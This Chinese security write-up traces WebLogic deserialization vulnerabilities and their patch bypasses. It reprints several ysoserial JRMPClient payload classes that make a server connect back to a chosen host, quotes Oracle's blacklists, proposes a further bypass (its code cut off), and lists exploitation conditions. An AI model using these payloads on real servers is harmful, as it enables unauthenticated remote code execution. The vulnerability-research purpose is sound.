Weblogic 反序列化漏洞历史
0x00 weblogic简介
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
Weblogic 直接反序列化漏洞回顾
1. CVE-2015-4852
利用Java反序列化和 Apache Commons Collections 这一基础类库来×××,实现远程代码执行。
查看CVE-2015-4852的补丁,发现weblogic采用黑名单的形式来修复这个漏洞,这中修复方案很被动,存在被绕过风险,只要发现可用并且未在黑名单之外的反序列化类,便可造成新的反序列化×××。
2. CVE-2016-0638
weblogic反序列化的点有三个,黑名单ClassFilter.class也作用于这三个位置:
weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
使用weblogic.jms.common.StreamMessageImpl的 readExternal()绕过
3. CVE-2016-3510
原理是将反序列化的对象封装进了weblogic.corba.utils.MarshalledObject,然后再对 MarshalledObject进行序列化,生成 payload 字节码。反序列化时 MarshalledObject 不在 WebLogic 黑名单里,可正常反序列化,在反序列化时 MarshalledObject对象调用 readObject 时对 MarshalledObject 封装的序列化对象再次反序列化,这样就逃过了黑名单的检查。
0x02 Weblogic JRMP反序列化漏洞回顾
JRMP协议:Java远程消息交换协议 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。
RMI:是Remote Method Invocation的简称,是J2SE的一部分,
能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,
可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,
可以像调用本地Java对象的方法一样调用远程对象的方法,
使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
1. CVE-2017-3248
这个漏洞就是利用 RMI 机制的缺陷,通过 JRMP 协议达到执行任意反序列化 payload 的目的。使用 ysoserial 的 JRMPLister,这将会序列化一个 RemoteObjectInvocationHandler,该RemoteObjectInvocationHandler使用UnicastRef建立到远端的 TCP 连接获取RMI registry。 此连接使用 JRMP 协议,因此客户端将反序列化服务器响应的任何内容,从而实现未经身份验证的远程代码执行。
JRMPLister代码:
package ysoserial.payloads;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
/**
*
*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set, long)
* DGCClient$EndpointEntry.registerRefs(List)
* DGCClient.registerRefs(Endpoint, List)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Requires:
* - JavaSE
*
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
*
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload {
public Registry getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}
修复方式只是在resolveProxyClass进行一个简单的判断,拦截java.rmi.registry.Registry接口。所以很快就有了下一个绕过。
2. CVE-2018-2628
网上公开的绕CVE-2017-3248有这几种方法:
第一种:
修改ysoerial的JRMPClient,精简了原来的payload,直接就是一个sun.rmi.server.UnicastRef对象。因为Proxy在这里并不是必需的,所以去掉之后对反序列化利用没有影响。payload中没有了proxy,weblogic反序列化的时候,resolveProxyClass根本就没有被调用到,所以就bypass了CVE-2017-3248的patch。
package ysoserial.payloads;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
/**
*
*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set, long)
* DGCClient$EndpointEntry.registerRefs(List)
* DGCClient.registerRefs(Endpoint, List)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Requires:
* - JavaSE
*
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
*
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload {
public Registry getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}
第二种:替换接口
绕过是用java.rmi.activation.Activator替换java.rmi.registry.Registry,从而绕过resolveProxyClass的判断。其实这里对接口没有要求,不一定是rmi接口,随便找一个接口都行,比如java.util.Map
package ysoserial.payloads;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
/**
*
*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set, long)
* DGCClient$EndpointEntry.registerRefs(List)
* DGCClient.registerRefs(Endpoint, List)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Requires:
* - JavaSE
*
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
*
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload {
public Activator getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}
第三种:weblogic.jms.common.StreamMessageImpl
StreamMessageImpl这个点在反序列化的时候没有resolveProxyClass检查,从而绕过。
Oracle在2018年4月发布的补丁中修复方式是将sun.rmi.server.UnicastRef加入了黑名单中,weblogic.utils.io.oif.WebLogicFilterConfig.class:
private static final String[] DEFAULT_LIMITS = { "maxdepth=100" };
private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist" };
private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef" };
这个修复方式只对提交的bypass(Payload 1)有效,而Payload 2和3依然可以使用。分析了一下后两个payload依然可以使用的原因: 主要是sun.rmi.server.UnicastRef经过了java.rmi.server.RemoteObjectInvocationHandler的封装,在序列化生成payload时,修改了UnicastRef对象写入流程。
3. CVE-2018-2893
针对前面漏洞没有修复彻底的问题,在今年7月份的补丁中进行了如下修复:
private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server" };
private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler" };
黑名单进行了更新:
java.rmi.activation.*
sun.rmi.server.*
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject
0x03 绕过CVE-2018-2893
CVE-2018-2893还是可以继续绕的,根据前面的分析可知,我们只需要找一个类似java.rmi.server.RemoteObjectInvocationHandler的类进行替换,就能继续绕过了。那么这个类应该满足以下条件:
继承远程类:java.rmi.server.RemoteObject不在黑名单里边(java.rmi.activation. 、sun.rmi.server.)
随便找了一下,符合条件的挺多的:
javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub
RMIConnectionImpl_Stub 继承至--> java.rmi.server.RemoteStub 继承至-->java.rmi.server.RemoteObject
稍微改一下payload便能继续利用了:
package ysoserial.payloads;
import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;
@SuppressWarnings ( {
"restriction"
} )
public class JRMPClient3 extends PayloadRunner implements ObjectPayload
0x04 利用条件
RMIConnectionImpl_Stub替换RemoteObjectInvocationHandler之后,payload又能用了。
后续利用需要配合Jdk7u21来执行命令:
1、服务器没有禁用T3、T3S协议。
2、weblogic服务器需能访问到外网,才能发起JRMP请求。
3、服务器使用低版本jdk
参考链接:
https://xz.aliyun.com/t/2479
https://paper.seebug.org/584/
http://drops.the404.me/637.html